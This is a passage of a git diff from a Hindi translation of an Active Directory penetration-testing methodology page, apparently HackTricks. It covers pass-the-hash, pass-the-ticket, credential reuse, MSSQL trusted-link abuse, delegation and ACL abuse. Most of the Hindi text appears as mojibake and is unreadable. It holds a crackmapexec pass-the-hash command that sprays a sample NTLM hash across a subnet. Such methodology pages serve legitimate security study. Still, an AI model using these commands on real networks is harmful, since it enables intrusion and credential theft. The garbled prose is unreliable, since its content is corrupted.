рд╕рдлрд▓ рд░рд╣реЗ рд╣реИрдВред\ +рдЙрдореНрдореАрдж рд╣реИ рдХрд┐ рдЖрдк [AsRepRoast](asreproast.md), [Password Spraying](password-spraying.md), [Kerberoast](kerberoast.md), [Responder](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) рд╕рд╣рд┐рдд рд░рд┐рд▓реЗ рдХрд░рддреЗ рд╣реБрдП, [EvilSSDP](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md), [рд╕реНрдерд╛рдиреАрдп рд░реВрдк рд╕реЗ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдмрдврд╝рд╛рдирд╛](../windows-local-privilege-escalation/index.html) рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ **рдХреБрдЫ рд╕реНрдерд╛рдиреАрдп рд╡реНрдпрд╡рд╕реНрдерд╛рдкрдХ** рдЦрд╛рддреЗ рдХреЛ **рд╕рдордЭреМрддрд╛** рдХрд░рдиреЗ рдореЗрдВ рд╕рдлрд▓ рд░рд╣реЗ рд╣реИрдВред\ рдлрд┐рд░, рдЗрд╕рдХрд╛ рд╕рдордп рд╣реИ рдХрд┐ рд╕рднреА рд╣реИрд╢ рдХреЛ рдореЗрдореЛрд░реА рдФрд░ рд╕реНрдерд╛рдиреАрдп рд░реВрдк рд╕реЗ рдбрдВрдк рдХрд░реЗрдВред\ -[**рд╣реИрд╢ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рд╡рд┐рднрд┐рдиреНрди рддрд░реАрдХреЛрдВ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЗрд╕ рдкреГрд╖реНрда рдХреЛ рдкрдврд╝реЗрдВред**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/active-directory-methodology/broken-reference/README.md) +[**Read this page about different ways to obtain the hashes.**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/active-directory-methodology/broken-reference/README.md) -### рдкрд╛рд╕ рдж рд╣реИрд╢ +### Pass the Hash **рдПрдХ рдмрд╛рд░ рдЬрдм рдЖрдкрдХреЗ рдкрд╛рд╕ рдПрдХ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХрд╛ рд╣реИрд╢ рд╣реЛ**, рддреЛ рдЖрдк рдЗрд╕рдХрд╛ рдЙрдкрдпреЛрдЧ **рдЙрд╕рдХрд╛ рдЕрдиреБрдХрд░рдг рдХрд░рдиреЗ** рдХреЗ рд▓рд┐рдП рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред\ -рдЖрдкрдХреЛ рдХреБрдЫ **рдЙрдкрдХрд░рдг** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ рдЬреЛ рдЙрд╕ **рд╣реИрд╢** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ **NTLM рдкреНрд░рдорд╛рдгреАрдХрд░рдг** рдХрд░реЗрдЧрд╛, **рдпрд╛** рдЖрдк рдПрдХ рдирдпрд╛ **sessionlogon** рдмрдирд╛ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ **LSASS** рдХреЗ рдЕрдВрджрд░ рдЙрд╕ **рд╣реИрд╢** рдХреЛ **рдЗрдВрдЬреЗрдХреНрдЯ** рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рддрд╛рдХрд┐ рдЬрдм рднреА рдХреЛрдИ **NTLM рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдХрд┐рдпрд╛ рдЬрд╛рдП**, рд╡рд╣ **рд╣реИрд╢ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ред** рдЕрдВрддрд┐рдо рд╡рд┐рдХрд▓реНрдк рд╡рд╣реА рд╣реИ рдЬреЛ mimikatz рдХрд░рддрд╛ рд╣реИред\ -[**рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА рдХреЗ рд▓рд┐рдП рдЗрд╕ рдкреГрд╖реНрда рдХреЛ рдкрдврд╝реЗрдВред**](../ntlm/index.html#pass-the-hash) +рдЖрдкрдХреЛ рдХреБрдЫ **рдЙрдкрдХрд░рдг** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ рдЬреЛ рдЙрд╕ **рд╣реИрд╢** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ **NTLM рдкреНрд░рдорд╛рдгреАрдХрд░рдг** **рдХрд░реЗрдЧрд╛**, **рдпрд╛** рдЖрдк рдПрдХ рдирдпрд╛ **sessionlogon** рдмрдирд╛ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ **LSASS** рдХреЗ рдЕрдВрджрд░ рдЙрд╕ **рд╣реИрд╢** рдХреЛ **рдЗрдВрдЬреЗрдХреНрдЯ** рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рддрд╛рдХрд┐ рдЬрдм рднреА рдХреЛрдИ **NTLM рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ**, рддреЛ рд╡рд╣ **рд╣реИрд╢ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ред** рдЕрдВрддрд┐рдо рд╡рд┐рдХрд▓реНрдк рд╡рд╣реА рд╣реИ рдЬреЛ mimikatz рдХрд░рддрд╛ рд╣реИред\ +[**Read this page for more information.**](../ntlm/index.html#pass-the-hash) -### рдУрд╡рд░ рдкрд╛рд╕ рдж рд╣реИрд╢/рдкрд╛рд╕ рдж рдХреА +### Over Pass the Hash/Pass the Key -рдпрд╣ рд╣рдорд▓рд╛ **рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ NTLM рд╣реИрд╢ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ Kerberos рдЯрд┐рдХрдЯреЛрдВ рдХрд╛ рдЕрдиреБрд░реЛрдз рдХрд░рдиреЗ** рдХрд╛ рд▓рдХреНрд╖реНрдп рд░рдЦрддрд╛ рд╣реИ, NTLM рдкреНрд░реЛрдЯреЛрдХреЙрд▓ рдкрд░ рд╕рд╛рдорд╛рдиреНрдп рдкрд╛рд╕ рдж рд╣реИрд╢ рдХреЗ рд╡рд┐рдХрд▓реНрдк рдХреЗ рд░реВрдк рдореЗрдВред рдЗрд╕рд▓рд┐рдП, рдпрд╣ рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ **рдЙрди рдиреЗрдЯрд╡рд░реНрдХ рдореЗрдВ рдЙрдкрдпреЛрдЧреА рд╣реЛ рд╕рдХрддрд╛ рд╣реИ рдЬрд╣рд╛рдВ NTLM рдкреНрд░реЛрдЯреЛрдХреЙрд▓ рдЕрдХреНрд╖рдо рд╣реИ** рдФрд░ рдХреЗрд╡рд▓ **Kerberos рдХреЛ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдкреНрд░реЛрдЯреЛрдХреЙрд▓ рдХреЗ рд░реВрдк рдореЗрдВ рдЕрдиреБрдорддрд┐ рджреА рдЧрдИ рд╣реИред** +рдпрд╣ рд╣рдорд▓рд╛ **рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ NTLM рд╣реИрд╢ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ Kerberos рдЯрд┐рдХрдЯреЛрдВ рдХрд╛ рдЕрдиреБрд░реЛрдз рдХрд░рдиреЗ** рдХрд╛ рд▓рдХреНрд╖реНрдп рд░рдЦрддрд╛ рд╣реИ, NTLM рдкреНрд░реЛрдЯреЛрдХреЙрд▓ рдкрд░ рд╕рд╛рдорд╛рдиреНрдп Pass The Hash рдХреЗ рд╡рд┐рдХрд▓реНрдк рдХреЗ рд░реВрдк рдореЗрдВред рдЗрд╕рд▓рд┐рдП, рдпрд╣ рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ **рдЙрди рдиреЗрдЯрд╡рд░реНрдХ рдореЗрдВ рдЙрдкрдпреЛрдЧреА рд╣реЛ рд╕рдХрддрд╛ рд╣реИ рдЬрд╣рд╛рдВ NTLM рдкреНрд░реЛрдЯреЛрдХреЙрд▓ рдЕрдХреНрд╖рдо рд╣реИ** рдФрд░ рдХреЗрд╡рд▓ **Kerberos рдХреЛ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдкреНрд░реЛрдЯреЛрдХреЙрд▓ рдХреЗ рд░реВрдк рдореЗрдВ рдЕрдиреБрдорддрд┐ рджреА рдЧрдИ рд╣реИред** {{#ref}} over-pass-the-hash-pass-the-key.md {{#endref}} -### рдкрд╛рд╕ рдж рдЯрд┐рдХрдЯ +### Pass the Ticket -**рдкрд╛рд╕ рдж рдЯрд┐рдХрдЯ (PTT)** рд╣рдорд▓реЗ рдХреА рд╡рд┐рдзрд┐ рдореЗрдВ, рд╣рдорд▓рд╛рд╡рд░ **рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХрд╛ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдЯрд┐рдХрдЯ рдЪреБрд░рд╛рддреЗ рд╣реИрдВ** рдмрдЬрд╛рдп рдЙрдирдХреЗ рдкрд╛рд╕рд╡рд░реНрдб рдпрд╛ рд╣реИрд╢ рдорд╛рдиреЛрдВ рдХреЗред рдпрд╣ рдЪреБрд░рд╛рдпрд╛ рдЧрдпрд╛ рдЯрд┐рдХрдЯ рдлрд┐рд░ **рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХрд╛ рдЕрдиреБрдХрд░рдг рдХрд░рдиреЗ** рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдиреЗрдЯрд╡рд░реНрдХ рдХреЗ рднреАрддрд░ рд╕рдВрд╕рд╛рдзрдиреЛрдВ рдФрд░ рд╕реЗрд╡рд╛рдУрдВ рддрдХ рдЕрдирдзрд┐рдХреГрдд рдкрд╣реБрдВрдЪ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдПред +**Pass The Ticket (PTT)** рд╣рдорд▓реЗ рдХреА рд╡рд┐рдзрд┐ рдореЗрдВ, рд╣рдорд▓рд╛рд╡рд░ **рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХрд╛ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдЯрд┐рдХрдЯ рдЪреБрд░рд╛рддреЗ рд╣реИрдВ** рдмрдЬрд╛рдп рдЗрд╕рдХреЗ рдХрд┐ рдЙрдирдХреЗ рдкрд╛рд╕рд╡рд░реНрдб рдпрд╛ рд╣реИрд╢ рдорд╛рди рд╣реЛрдВред рдпрд╣ рдЪреБрд░рд╛рдпрд╛ рдЧрдпрд╛ рдЯрд┐рдХрдЯ рдлрд┐рд░ **рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХрд╛ рдЕрдиреБрдХрд░рдг рдХрд░рдиреЗ** рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдиреЗрдЯрд╡рд░реНрдХ рдХреЗ рднреАрддрд░ рд╕рдВрд╕рд╛рдзрдиреЛрдВ рдФрд░ рд╕реЗрд╡рд╛рдУрдВ рддрдХ рдЕрдирдзрд┐рдХреГрдд рдкрд╣реБрдВрдЪ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдПред {{#ref}} pass-the-ticket.md {{#endref}} -### рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рдкреБрди: рдЙрдкрдпреЛрдЧ +### Credentials Reuse рдпрджрд┐ рдЖрдкрдХреЗ рдкрд╛рд╕ рдПрдХ **рд╕реНрдерд╛рдиреАрдп рд╡реНрдпрд╡рд╕реНрдерд╛рдкрдХ** рдХрд╛ **рд╣реИрд╢** рдпрд╛ **рдкрд╛рд╕рд╡рд░реНрдб** рд╣реИ, рддреЛ рдЖрдкрдХреЛ рдЗрд╕реЗ рдЕрдиреНрдп **PCs** рдкрд░ **рд╕реНрдерд╛рдиреАрдп рд░реВрдк рд╕реЗ рд▓реЙрдЧрд┐рди** рдХрд░рдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░рдирд╛ рдЪрд╛рд╣рд┐рдПред ```bash @@ -272,13 +275,13 @@ pass-the-ticket.md crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9cab376ecd08491764a0 | grep + ``` > [!WARNING] -> рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдпрд╣ рдХрд╛рдлреА **рд╢реЛрд░** рд╣реИ рдФрд░ **LAPS** рдЗрд╕реЗ **рдХрдо** рдХрд░реЗрдЧрд╛ред +> рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдпрд╣ рдХрд╛рдлреА **рд╢реЛрд░ рд╡рд╛рд▓рд╛** рд╣реИ рдФрд░ **LAPS** рдЗрд╕реЗ **рдХрдо рдХрд░реЗрдЧрд╛**ред ### MSSQL рджреБрд░реБрдкрдпреЛрдЧ рдФрд░ рд╡рд┐рд╢реНрд╡рд╕рдиреАрдп рд▓рд┐рдВрдХ -рдпрджрд┐ рдХрд┐рд╕реА рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рдкрд╛рд╕ **MSSQL рдЙрджрд╛рд╣рд░рдгреЛрдВ** рддрдХ рдкрд╣реБрдБрдЪрдиреЗ рдХреЗ рд▓рд┐рдП рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рд╣реИрдВ, рддреЛ рд╡рд╣ рдЗрд╕рдХрд╛ рдЙрдкрдпреЛрдЧ **MSSQL рд╣реЛрд╕реНрдЯ** рдореЗрдВ **рдХрдорд╛рдВрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд** рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд░ рд╕рдХрддрд╛ рд╣реИ (рдпрджрд┐ SA рдХреЗ рд░реВрдк рдореЗрдВ рдЪрд▓ рд░рд╣рд╛ рд╣реЛ), **NetNTLM рд╣реИрд╢** рдЪреБрд░рд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдпрд╛ рдпрд╣рд╛рдВ рддрдХ рдХрд┐ **рд░рд┐рд▓реЗ** **рд╣рдорд▓рд╛** рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдПред\ -рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, рдпрджрд┐ рдПрдХ MSSQL рдЙрджрд╛рд╣рд░рдг рдХреЛ рдПрдХ рдЕрд▓рдЧ MSSQL рдЙрджрд╛рд╣рд░рдг рджреНрд╡рд╛рд░рд╛ рд╡рд┐рд╢реНрд╡рд╕рдиреАрдп (рдбреЗрдЯрд╛рдмреЗрд╕ рд▓рд┐рдВрдХ) рдорд╛рдирд╛ рдЬрд╛рддрд╛ рд╣реИред рдпрджрд┐ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рдкрд╛рд╕ рд╡рд┐рд╢реНрд╡рд╕рдиреАрдп рдбреЗрдЯрд╛рдмреЗрд╕ рдкрд░ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рд╣реИрдВ, рддреЛ рд╡рд╣ **рдЕрдиреНрдп рдЙрджрд╛рд╣рд░рдг рдореЗрдВ рдХреНрд╡реЗрд░реА рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╡рд┐рд╢реНрд╡рд╛рд╕ рд╕рдВрдмрдВрдз рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХреЗрдЧрд╛**ред рдпреЗ рд╡рд┐рд╢реНрд╡рд╛рд╕ рд╢реНрд░реГрдВрдЦрд▓рд╛рдмрджреНрдз рд╣реЛ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рдХрд┐рд╕реА рдмрд┐рдВрджреБ рдкрд░ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдПрдХ рдЧрд▓рдд рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХреА рдЧрдИ рдбреЗрдЯрд╛рдмреЗрд╕ рдЦреЛрдЬрдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рд╣реЛ рд╕рдХрддрд╛ рд╣реИ рдЬрд╣рд╛рдБ рд╡рд╣ рдХрдорд╛рдВрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░ рд╕рдХрддрд╛ рд╣реИред\ -**рдбреЗрдЯрд╛рдмреЗрд╕ рдХреЗ рдмреАрдЪ рдХреЗ рд▓рд┐рдВрдХ рдпрд╣рд╛рдВ рддрдХ рдХрд┐ рд╡рди рд╡рди рдЯреНрд░рд╕реНрдЯ рдХреЗ рдкрд╛рд░ рднреА рдХрд╛рдо рдХрд░рддреЗ рд╣реИрдВред** +рдпрджрд┐ рдХрд┐рд╕реА рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рдкрд╛рд╕ **MSSQL рдЙрджрд╛рд╣рд░рдгреЛрдВ** рддрдХ рдкрд╣реБрдВрдЪрдиреЗ рдХреЗ рд▓рд┐рдП рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рд╣реИрдВ, рддреЛ рд╡рд╣ рдЗрд╕рдХрд╛ рдЙрдкрдпреЛрдЧ **MSSQL рд╣реЛрд╕реНрдЯ рдореЗрдВ рдХрдорд╛рдВрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ** рдХреЗ рд▓рд┐рдП рдХрд░ рд╕рдХрддрд╛ рд╣реИ (рдпрджрд┐ SA рдХреЗ рд░реВрдк рдореЗрдВ рдЪрд▓ рд░рд╣рд╛ рд╣реЛ), **NetNTLM рд╣реИрд╢** рдЪреБрд░рд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдпрд╛ рдпрд╣рд╛рдВ рддрдХ рдХрд┐ **relay** **рд╣рдорд▓рд╛** рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдПред\ +рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, рдпрджрд┐ рдПрдХ MSSQL рдЙрджрд╛рд╣рд░рдг рдХреЛ рдХрд┐рд╕реА рдЕрдиреНрдп MSSQL рдЙрджрд╛рд╣рд░рдг рджреНрд╡рд╛рд░рд╛ рд╡рд┐рд╢реНрд╡рд╕рдиреАрдп (рдбреЗрдЯрд╛рдмреЗрд╕ рд▓рд┐рдВрдХ) рдорд╛рдирд╛ рдЬрд╛рддрд╛ рд╣реИред рдпрджрд┐ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рдкрд╛рд╕ рд╡рд┐рд╢реНрд╡рд╕рдиреАрдп рдбреЗрдЯрд╛рдмреЗрд╕ рдкрд░ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рд╣реИрдВ, рддреЛ рд╡рд╣ **рдЕрдиреНрдп рдЙрджрд╛рд╣рд░рдг рдореЗрдВ рдХреНрд╡реЗрд░реА рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╡рд┐рд╢реНрд╡рд╛рд╕ рд╕рдВрдмрдВрдз рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХреЗрдЧрд╛**ред рдпреЗ рд╡рд┐рд╢реНрд╡рд╛рд╕ рд╢реНрд░реГрдВрдЦрд▓рд╛рдмрджреНрдз рд╣реЛ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рдХрд┐рд╕реА рдмрд┐рдВрджреБ рдкрд░ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдПрдХ рдЧрд▓рдд рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХреА рдЧрдИ рдбреЗрдЯрд╛рдмреЗрд╕ рдЦреЛрдЬрдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рд╣реЛ рд╕рдХрддрд╛ рд╣реИ рдЬрд╣рд╛рдВ рд╡рд╣ рдХрдорд╛рдВрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░ рд╕рдХрддрд╛ рд╣реИред\ +**рдбреЗрдЯрд╛рдмреЗрд╕ рдХреЗ рдмреАрдЪ рдХреЗ рд▓рд┐рдВрдХ рдпрд╣рд╛рдВ рддрдХ рдХрд┐ рд╡рди рдЯреНрд░рд╕реНрдЯ рдХреЗ рдкрд╛рд░ рднреА рдХрд╛рдо рдХрд░рддреЗ рд╣реИрдВред** {{#ref}} abusing-ad-mssql.md @@ -288,7 +291,7 @@ abusing-ad-mssql.md рдпрджрд┐ рдЖрдк рдХрд┐рд╕реА рдХрдВрдкреНрдпреВрдЯрд░ рдСрдмреНрдЬреЗрдХреНрдЯ рдХреЛ [ADS_UF_TRUSTED_FOR_DELEGATION]() рд╡рд┐рд╢реЗрд╖рддрд╛ рдХреЗ рд╕рд╛рде рдкрд╛рддреЗ рд╣реИрдВ рдФрд░ рдЖрдкрдХреЗ рдкрд╛рд╕ рдХрдВрдкреНрдпреВрдЯрд░ рдореЗрдВ рдбреЛрдореЗрди рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рд╣реИрдВ, рддреЛ рдЖрдк рдХрдВрдкреНрдпреВрдЯрд░ рдкрд░ рд▓реЙрдЧрд┐рди рдХрд░рдиреЗ рд╡рд╛рд▓реЗ рд╣рд░ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреА рдореЗрдореЛрд░реА рд╕реЗ TGTs рдХреЛ рдбрдВрдк рдХрд░рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рд╣реЛрдВрдЧреЗред\ рддреЛ, рдпрджрд┐ рдХреЛрдИ **рдбреЛрдореЗрди рдПрдбрдорд┐рди рдХрдВрдкреНрдпреВрдЯрд░ рдкрд░ рд▓реЙрдЧрд┐рди рдХрд░рддрд╛ рд╣реИ**, рддреЛ рдЖрдк рдЙрд╕рдХрд╛ TGT рдбрдВрдк рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ [Pass the Ticket](pass-the-ticket.md) рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЙрд╕рдХреА рдирдХрд▓ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред\ -рд╕рдВрдХреАрд░реНрдг рдкреНрд░рддрд┐рдирд┐рдзрд┐рддреНрд╡ рдХреЗ рдХрд╛рд░рдг рдЖрдк рдпрд╣рд╛рдВ рддрдХ рдХрд┐ **рдПрдХ рдкреНрд░рд┐рдВрдЯ рд╕рд░реНрд╡рд░ рдХреЛ рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд░реВрдк рд╕реЗ рд╕рдордЭреМрддрд╛** рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ (рдЙрдореНрдореАрдж рд╣реИ рдХрд┐ рдпрд╣ рдПрдХ DC рд╣реЛрдЧрд╛)ред +рд╕рдВрдХреАрд░реНрдг рдкреНрд░рддрд┐рдирд┐рдзрд┐рддреНрд╡ рдХреЗ рдХрд╛рд░рдг рдЖрдк рдпрд╣рд╛рдВ рддрдХ рдХрд┐ **рдПрдХ рдкреНрд░рд┐рдВрдЯ рд╕рд░реНрд╡рд░ рдХреЛ рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд░реВрдк рд╕реЗ рд╕рдордЭреМрддрд╛ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ** (рдЙрдореНрдореАрдж рд╣реИ рдХрд┐ рдпрд╣ рдПрдХ DC рд╣реЛрдЧрд╛)ред {{#ref}} unconstrained-delegation.md @@ -296,8 +299,8 @@ unconstrained-delegation.md ### рд╕рдВрдХреАрд░реНрдг рдкреНрд░рддрд┐рдирд┐рдзрд┐рддреНрд╡ -рдпрджрд┐ рдХрд┐рд╕реА рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдпрд╛ рдХрдВрдкреНрдпреВрдЯрд░ рдХреЛ "рд╕рдВрдХреАрд░реНрдг рдкреНрд░рддрд┐рдирд┐рдзрд┐рддреНрд╡" рдХреА рдЕрдиреБрдорддрд┐ рд╣реИ, рддреЛ рд╡рд╣ **рдХрд┐рд╕реА рднреА рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреА рдирдХрд▓ рдХрд░ рд╕рдХрддрд╛ рд╣реИ рддрд╛рдХрд┐ рдХрд┐рд╕реА рдХрдВрдкреНрдпреВрдЯрд░ рдореЗрдВ рдХреБрдЫ рд╕реЗрд╡рд╛рдУрдВ рддрдХ рдкрд╣реБрдБрдЪ рд╕рдХреЗ**ред\ -рдлрд┐рд░, рдпрджрд┐ рдЖрдк рдЗрд╕ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛/рдХрдВрдкреНрдпреВрдЯрд░ рдХрд╛ **рд╣реИрд╢ рд╕рдордЭреМрддрд╛** рдХрд░рддреЗ рд╣реИрдВ, рддреЛ рдЖрдк **рдХрд┐рд╕реА рднреА рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛** (рдпрд╣рд╛рдВ рддрдХ рдХрд┐ рдбреЛрдореЗрди рдПрдбрдорд┐рди) рдХреА рдирдХрд▓ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рддрд╛рдХрд┐ рдХреБрдЫ рд╕реЗрд╡рд╛рдУрдВ рддрдХ рдкрд╣реБрдБрдЪ рд╕рдХреЗред +рдпрджрд┐ рдХрд┐рд╕реА рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдпрд╛ рдХрдВрдкреНрдпреВрдЯрд░ рдХреЛ "рд╕рдВрдХреАрд░реНрдг рдкреНрд░рддрд┐рдирд┐рдзрд┐рддреНрд╡" рдХреА рдЕрдиреБрдорддрд┐ рд╣реИ, рддреЛ рд╡рд╣ **рдХрд┐рд╕реА рднреА рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреА рдирдХрд▓ рдХрд░ рд╕рдХрддрд╛ рд╣реИ рддрд╛рдХрд┐ рдХрд┐рд╕реА рдХрдВрдкреНрдпреВрдЯрд░ рдореЗрдВ рдХреБрдЫ рд╕реЗрд╡рд╛рдУрдВ рддрдХ рдкрд╣реБрдВрдЪ рд╕рдХреЗ**ред\ +рдлрд┐рд░, рдпрджрд┐ рдЖрдк рдЗрд╕ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛/рдХрдВрдкреНрдпреВрдЯрд░ рдХрд╛ **рд╣реИрд╢ рд╕рдордЭреМрддрд╛** рдХрд░рддреЗ рд╣реИрдВ, рддреЛ рдЖрдк **рдХрд┐рд╕реА рднреА рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛** (рдпрд╣рд╛рдВ рддрдХ рдХрд┐ рдбреЛрдореЗрди рдПрдбрдорд┐рди) рдХреА рдирдХрд▓ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рддрд╛рдХрд┐ рдХреБрдЫ рд╕реЗрд╡рд╛рдУрдВ рддрдХ рдкрд╣реБрдВрдЪ рд╕рдХреЗред {{#ref}} constrained-delegation.md @@ -313,7 +316,7 @@ resource-based-constrained-delegation.md ### ACLs рджреБрд░реБрдкрдпреЛрдЧ -рд╕рдордЭреМрддрд╛ рдХрд┐рдпрд╛ рдЧрдпрд╛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреБрдЫ **рджрд┐рд▓рдЪрд╕реНрдк рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░** рд░рдЦ рд╕рдХрддрд╛ рд╣реИ рдЬреЛ рдЖрдкрдХреЛ **рдкрд╛рд░реНрд╢реНрд╡ рдореЗрдВ рд╕реНрдерд╛рдирд╛рдВрддрд░рд┐рдд** рдХрд░рдиреЗ/рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдмрдврд╝рд╛рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗ рд╕рдХрддреЗ рд╣реИрдВред +рд╕рдордЭреМрддрд╛ рдХрд┐рдП рдЧрдП рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рдкрд╛рд╕ рдХреБрдЫ **рдбреЛрдореЗрди рдСрдмреНрдЬреЗрдХреНрдЯреНрд╕ рдкрд░ рдХреБрдЫ рджрд┐рд▓рдЪрд╕реНрдк рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░** рд╣реЛ рд╕рдХрддреЗ рд╣реИрдВ рдЬреЛ рдЖрдкрдХреЛ **рдкрд╛рд░реНрд╢реНрд╡ рдореЗрдВ рд╕реНрдерд╛рдирд╛рдВрддрд░рд┐рдд** рдХрд░рдиреЗ/рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдмрдврд╝рд╛рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗ рд╕рдХрддреЗ рд╣реИрдВред {{#ref}} acl-persistence-abuse/ @@ -329,8 +332,8 @@ printers-spooler-service-abuse.md ### рддреАрд╕рд░реЗ рдкрдХреНрд╖ рдХреЗ 